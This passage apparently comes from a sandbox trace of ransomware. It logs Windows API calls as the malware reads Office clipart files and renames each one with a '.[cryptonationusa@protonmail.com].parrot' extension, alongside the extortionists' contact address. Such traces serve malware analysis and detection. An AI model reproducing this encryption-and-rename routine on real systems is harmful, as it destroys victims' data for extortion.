lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.952] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6ca8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6ca8, lpOverlapped=0x0) returned 1 [0152.953] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.954] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.960] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.960] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.965] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.965] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1088, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1088, lpOverlapped=0x0) returned 1 [0152.966] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.968] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.968] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.968] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.971] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.971] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.972] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.972] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x578, lpOverlapped=0x0) returned 1 [0152.973] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.973] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.975] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.975] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.975] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0152.977] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.977] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.978] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.979] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3086, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3086, lpOverlapped=0x0) returned 1 [0152.979] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.980] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0152.984] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.984] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.985] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.985] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d14, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d14, lpOverlapped=0x0) returned 1 [0152.986] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.990] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.990] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.991] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.992] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d68, lpOverlapped=0x0) returned 1 [0152.992] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.996] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.996] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.997] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.998] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x23a8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x23a8, lpOverlapped=0x0) returned 1 [0152.998] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.002] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.002] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.005] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.005] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2016, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2016, lpOverlapped=0x0) returned 1 [0153.006] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.008] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.008] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.008] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.010] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.010] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.012] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.012] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24c8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x24c8, lpOverlapped=0x0) returned 1 [0153.013] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.013] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.015] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.015] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.015] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.017] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.017] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.018] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.018] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x266c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x266c, lpOverlapped=0x0) returned 1 [0153.019] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.024] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.024] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.025] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.026] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fde, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1fde, lpOverlapped=0x0) returned 1 [0153.027] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.027] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.031] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.031] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.078] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.078] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c2c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2c2c, lpOverlapped=0x0) returned 1 [0153.081] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.082] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.087] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.087] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.089] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.089] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30ca, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30ca, lpOverlapped=0x0) returned 1 [0153.090] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.095] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.095] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.096] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.096] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c4c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4c4c, lpOverlapped=0x0) returned 1 [0153.098] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.101] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.101] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.101] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0153.103] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.103] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.104] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.104] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x382a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x382a, lpOverlapped=0x0) returned 1 [0153.105] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 